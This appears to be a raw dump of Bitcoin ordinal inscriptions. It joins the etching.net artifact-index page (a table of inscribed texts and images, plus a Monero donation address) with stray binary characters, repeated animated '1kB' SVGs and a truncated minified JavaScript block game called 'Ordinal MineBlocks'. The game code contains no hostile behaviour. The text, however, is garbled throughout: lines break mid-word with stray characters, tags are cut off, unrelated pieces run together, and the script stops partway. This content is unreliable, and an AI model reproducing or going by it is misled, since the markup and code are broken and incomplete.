{"@context":"https://schema.org","@type":"WebSite","description":"Volunteer-curated list of Bitcoin digital artifacts that exemplify longstanding cultural value. Anyone can contribute a record of historical significance!","headline":"etching.net","name":"etching-net.github.io","url"M
:"https://etching-net.github.io/"}</script>
<!-- End Jekyll SEO tag -->
    <style class="anchorjs"></style><link rel="stylesheet" href="https://etching-net.github.io/assets/css/style.css">
    <!-- start custom head snippets, customize with your own _includes/head-custom.html file -->
<!-- Setup Google Analytics -->
<!-- You can set your favicon here -->
<!-- link rel="shortcut icon" type="image/x-icon" href="/favicon.ico" -->
<!-- end custom head snippets -->
ass="container-lg px-3 my-5 markdown-body">
      <h1><a href="https://etching-net.github.io/">etching-net.github.io</a></h1>
      <h1 id="etchingnet"><a href="http://etching.net/">etching.net</a></h1>
<h6 id="preserving-seminal-knowledge-and-culture-on-the-immutable-ledger-of-bitcoin"><em>Preserving seminal knowledge and culture on the immutable ledger of Bitcoin</em><a class="anchorjs-link " href="#preserving-seminal-knowledge-and-culture-on-the-immutable-ledger-of-bitcoin" aria-label="AnchoM
r" data-anchorjs-icon="
" style="font: 1em / 1 anchorjs-icons; padding-left: 0.375em;"></a></h6>
<h3 id="what-is-this">What is this?<a class="anchorjs-link " href="#what-is-this" aria-label="Anchor" data-anchorjs-icon="
" style="font: 1em / 1 anchorjs-icons; padding-left: 0.375em;"></a></h3>
<p>Welcome to etching.net
s <a href="#digital-artifact-index"><strong>DIGITAL ARTIFACT INDEX</strong></a>,
 a volunteer-curated list of Bitcoin digital artifacts that preserve
seminal works with longstanding cultM
ural value.  Anyone can contribute a
 record to the index!</p>
<h3 id="why-though">Why though?<a class="anchorjs-link " href="#why-though" aria-label="Anchor" data-anchorjs-icon="
" style="font: 1em / 1 anchorjs-icons; padding-left: 0.375em;"></a></h3>
<p>The mission of etching.net is to safeguard humanity
knowledge on the blockchain, like a time-capsule, in order to reduce the
 potential damage to civilization in the case of a catastrophic event.</p>
<p>These records can also serve as aM
 rich public library for learning
anywhere in the world today, as well as in the far, uncertain future.</p>
<h3 id="how-is-it-different-from-other-nfts">How is it different from other NFTs?<a class="anchorjs-link " href="#how-is-it-different-from-other-nfts" aria-label="Anchor" data-anchorjs-icon="
" style="font: 1em / 1 anchorjs-icons; padding-left: 0.375em;"></a></h3>
<p>Young memes reflected on nonfungible tokens (NFTs) often swing wildly
 in their popularity and price. By embracing time-tested memes M
 ideas that have consistently captivated the minds of the day
and their ancestors
 etching.net points to a long-term value
proposition for the NFT space that places quality above quantity.</p>
<p>The vision is to start small and simple, promote steady contributions
 through organic growth, and carefully consider iterative improvements
<h3 id="who-contributes">Who contributes?<a class="anchorjs-link " href="#who-contributes" aria-label="Anchor" data-anchorjs-M
" style="font: 1em / 1 anchorjs-icons; padding-left: 0.375em;"></a></h3>
<p>You. Yes, you! This undertaking would be impossibly time-consuming
and expensive for an individual, but it
s great fun to chip away at as
part of a global community.</p>
<p>Here are three ways you can help right now:</p>
    <p><a href="https://github.com/etching-net/etching-net.github.io/edit/main/README.md"><strong>INDEX</strong></a>
 Add the Ordinal of an existing digital artifact to be included iM
<strong>Fields</strong>: ART, HISTORY, HOW-TO, RELIGION, SCIENCE<br>
<strong>Media</strong>: TEXT, PDF, IMAGE, AUDIO, VIDEO, OTHER<br>
(<a href="https://ordinals.com/">More about Ordinals</a>, including how to inscribe a digital artifact yourself
    <p><a href="http://etching.net/"><strong>SHARE</strong></a> - Tell your friends (especially the doubters!) to visit <a href="http://etching.net/">etching.net</a><br>
so they can see for themselves what blockchain technologyM
 is doing for people all around the planet.</p>
    <p><a href="https://getmonero.org/"><strong>SUPPORT</strong></a>
 Fund new inscriptions by donating Monero (XMR):<br>
 <code class="language-plaintext highlighter-rouge">8C6s3puMLw2djCDVNGeeWyQDUL3RJrivMK5KNxqsviJdfADtXPsuyxXRYMRdAMgy6m2gHC4kdqPrqNhPcdqr8AeSKXAgm6J</code></p>
<p>Good luck! May you enjoy a peaceful day of good health and a night of happy dreams
<h1 id="digital-artifact-index">DIGITAL ARTIFACT INDM
      <th style="text-align: right">Ordinal</th>
      <th>Artifact</th>
      <th style="text-align: center">Medium</th>
      <th style="text-align: center">Field</th>
      <td style="text-align: right"><a href="https://ordinals.com/sat/1914982294760455">1914982294760455</a></td>
      <td>ETCHING.NET - DIGITAL ARTIFACT INDEX 1</td>
      <td style="text-align: center">JSON</td>
      <td style="text-align: center">HISTORM
      <td style="text-align: right"><a href="https://ordinals.com/sat/0">0</a></td>
      <td>BITCOIN GENESIS SATOSHI</td>
      <td style="text-align: center">OTHER</td>
      <td style="text-align: center">SCIENCE</td>
      <td style="text-align: right"><a href="https://ordinals.com/sat/1763605954827093">1763605954827093</a></td>
      <td>BITCOIN: A PEER-TO-PEER ELECTRONIC CASH SYSTEM</td>
      <td style="text-align: center">PDF</td>
      <td style="texM
t-align: center">SCIENCE</td>
      <td style="text-align: right"><a href="https://ordinals.com/sat/1225514403205417">1225514403205417</a></td>
      <td>BUDDHA - DISCOURSE ON LOVING-FRIENDLINESS</td>
      <td style="text-align: center">TEXT</td>
      <td style="text-align: center">RELIGION</td>
      <td style="text-align: right"><a href="https://ordinals.com/sat/1523586494154435">1523586494154435</a></td>
      <td>JESUS - SERMON ON THE MOUNT</td>
="text-align: center">TEXT</td>
      <td style="text-align: center">RELIGION</td>
      <td style="text-align: right"><a href="https://ordinals.com/sat/1225514403256383">1225514403256383</a></td>
      <td>AESOP - FABLES</td>
      <td style="text-align: center">TEXT</td>
      <td style="text-align: center">ART</td>
      <td style="text-align: right"><a href="https://ordinals.com/sat/1557902570451532">1557902570451532</a></td>
      <td>APOLLO 8 - EARTHRISE</td>
      <td style="text-align: center">IMAGE</td>
      <td style="text-align: center">SCIENCE</td>
      <td style="text-align: right"><a href="https://ordinals.com/sat/1922840005913310">1922840005913310</a></td>
      <td>CONSTITUTION OF THE UNITED STATES</td>
      <td style="text-align: center">TEXT</td>
      <td style="text-align: center">HISTORY</td>
      <td style="text-align: right"><a href="https://ordinals.com/sat/1589162660472716">1589162660472716</a></td>
      <td>DA VINCI - MONA LISA</td>
      <td style="text-align: center">IMAGE</td>
      <td style="text-align: center">ART</td>
      <td style="text-align: right"><a href="https://ordinals.com/sat/1922840005901100">1922840005901100</a></td>
      <td>DELARATION OF INDEPENDENCE</td>
      <td style="text-align: center">TEXT</td>
      <td style="text-align: center">HISTORY</td>
      <td style="text-align: right"><a href="https://ordinals.com/sat/1447382445812188"M
>1447382445812188</a></td>
      <td>DELARATION OF INDEPENDENCE</td>
      <td style="text-align: center">IMAGE</td>
      <td style="text-align: center">HISTORY</td>
      <td style="text-align: right"><a href="https://ordinals.com/sat/1225514403227533">1225514403227533</a></td>
      <td>FROST - STOPPING BY THE WOODS ON A SNOWY EVENING</td>
      <td style="text-align: center">TEXT</td>
      <td style="text-align: center">ART</td>
      <td style="text-align: rigM
ht"><a href="https://ordinals.com/sat/1382553585280993">1382553585280993</a></td>
      <td>FROST - THE ROAD NOT TAKEN</td>
      <td style="text-align: center">TEXT</td>
      <td style="text-align: center">ART</td>
      <td style="text-align: right"><a href="https://ordinals.com/sat/1523586494736651">1523586494736651</a></td>
DEL - ON FORMALLY UNDECIDABLE PROPOSITIONS OF PRINCIPIA MATHEMATICA AND RELATED SYSTEMS</td>
      <td style="text-align: center">TEXT</td>
d style="text-align: center">SCIENCE</td>
      <td style="text-align: right"><a href="https://ordinals.com/sat/1523586494208336">1523586494208336</a></td>
      <td>GUNARATANA - MINDFULNESS IN PLAIN ENGLISH</td>
      <td style="text-align: center">TEXT</td>
      <td style="text-align: center">HOW-TO</td>
      <td style="text-align: right"><a href="https://ordinals.com/sat/1745928628280026">1745928628280026</a></td>
      <td>HOLY BIBLE - JAMES, CHAPTERS 1-5</td>
      <td style="text-align: center">TEXT</td>
      <td style="text-align: center">RELIGION</td>
      <td style="text-align: right"><a href="https://ordinals.com/sat/1924963397085364">1924963397085364</a></td>
      <td>MICHELANGELO	- THE CREATION OF ADAM</td>
      <td style="text-align: center">IMAGE</td>
      <td style="text-align: center">ART</td>
      <td style="text-align: right"><a href="https://ordinals.com/sat/1382553585296193">1382553585296193</a></td>
      <td>MOON PHOTOGRAPH</td>
      <td style="text-align: center">IMAGE</td>
      <td style="text-align: center">SCIENCE</td>
      <td style="text-align: right"><a href="https://ordinals.com/sat/1382553585521485">1382553585521485</a></td>
      <td>NASH - NONCOOPERATIVE GAMES</td>
      <td style="text-align: center">PDF</td>
      <td style="text-align: center">SCIENCE</td>
      <td style="text-align: right"><a href="https://ordinals.com/sat/948117491120983">94M
8117491120983</a></td>
      <td>TIANANMEN SQUARE</td>
      <td style="text-align: center">IMAGE</td>
      <td style="text-align: center">HISTORY</td>
      <td style="text-align: right"><a href="https://ordinals.com/sat/1225514403242330">1225514403242330</a></td>
      <td>WHITMAN - O CAPTAIN! MY CAPTAIN!</td>
      <td style="text-align: center">TEXT</td>
      <td style="text-align: center">ART</td>
      <div class="footer border-top M
border-gray-light mt-5 pt-3 text-right text-gray">
        This site is open source. <a href="https://github.com/etching-net/etching-net.github.io/edit/main/README.md">Improve this page</a>.
    <script src="https://cdnjs.cloudflare.com/ajax/libs/anchor-js/4.1.0/anchor.min.js" integrity="sha256-lZaRhKri35AyJSypXXs4o6OPFTbTmUoltBbDCbdzegg=" crossorigin="anonymous"></script>
    <script>anchors.add();</script>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
*9****9H99999HVHHHHHHVVVVVVVVhhhhhhyyyyy
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
